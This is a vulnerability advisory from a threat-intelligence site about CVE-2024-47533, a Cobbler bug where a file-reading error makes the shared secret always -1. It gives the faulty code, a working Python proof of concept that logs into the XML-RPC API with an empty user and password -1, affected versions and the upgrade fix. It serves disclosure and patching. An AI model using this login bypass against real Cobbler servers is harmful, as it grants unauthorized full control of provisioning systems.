# CVE-2024-47533: cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

Source: https://junglewise.ai/threats/cve-2024-47533-cobbler-allows-anyone-to-connect-to-cobbler-xml-rpc-server-with  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2024-11-18  
License: CC BY 4.0 with a link back

CVE-2024-47533 · Severity: critical · CVSS 9.8 · Published 2024-11-18

### Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

### Details
utils.py get_shared_secret:
```
def get_shared_secret() -> Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

    :return: The Cobbler secret which enables full access to Cobbler.
    """

    try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()
```
Always returns `-1` because of the following exception:
```
binary mode doesn't take an encoding argument
```

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

### PoC
```
#!/usr/bin/python3

import ssl
import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
    conn = xmlrpc.client.Server(url)

try:
    token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
    print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)
```


### Impact
This gives anyone with network access to a cobbler server full control of the server.

Technologies: [cobbler (PyPI)](https://junglewise.ai/threats/technologies/cobbler). Vendors: [PyPI](https://junglewise.ai/threats/vendors/pypi).

## Quick answers

**Is CVE-2024-47533 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2024-47533 being exploited in the wild.

**How severe is CVE-2024-47533?** Critical severity, with a CVSS score of 9.8, published 18 November 2024.

**Which products and versions are affected?** cobbler (PyPI) >= 3.3.0, < 3.3.7, ECOSYSTEM:introduced=3.0.0,fixed=3.2.3,introduced=3.3.0,fixed=3.3.7, ECOSYSTEM:introduced=3.3.0,fixed=3.3.7.

**Is there a fix for CVE-2024-47533?** Yes. cobbler (PyPI): upgrade to 3.3.7 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**Am I affected by CVE-2024-47533?** Check whether you run cobbler (PyPI) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- cobbler (PyPI): upgrade to 3.3.7 or later

  ```sh
  pip install "cobbler>=3.3.7"
  ```


## Affected products

- cobbler (PyPI) >= 3.3.0, < 3.3.7, ECOSYSTEM:introduced=3.0.0,fixed=3.2.3,introduced=3.3.0,fixed=3.3.7, ECOSYSTEM:introduced=3.3.0,fixed=3.3.7

## Identifiers

- CVE-2024-47533
- GHSA-m26c-fcgh-cp6h
- PYSEC-2026-316

## Related threats

- [PYSEC-2026-794 - Cobbler is vulnerable to code injection](https://junglewise.ai/threats/cve-2010-2235-cobbler-is-vulnerable-to-code-injection)
- [PYSEC-2026-792 - Cobbler subject to Command Injection](https://junglewise.ai/threats/cve-2012-2395-cobbler-subject-to-command-injection)
- [PYSEC-2026-793 - Cobbler vulnerable to code injection via unsafe YAML loading](https://junglewise.ai/threats/cve-2011-4953-cobbler-vulnerable-to-code-injection-via-unsafe-yaml-loading)
- [PYSEC-2026-795 - Cobbler Web Interface Kickstart Template Remote Privilege Escalation Vulnerability](https://junglewise.ai/threats/cve-2008-6954-cobbler-web-interface-kickstart-template-remote-privilege)
- [PYSEC-2026-797 - Cobbler Path Traversal vulnerability](https://junglewise.ai/threats/cve-2014-3225-cobbler-path-traversal-vulnerability)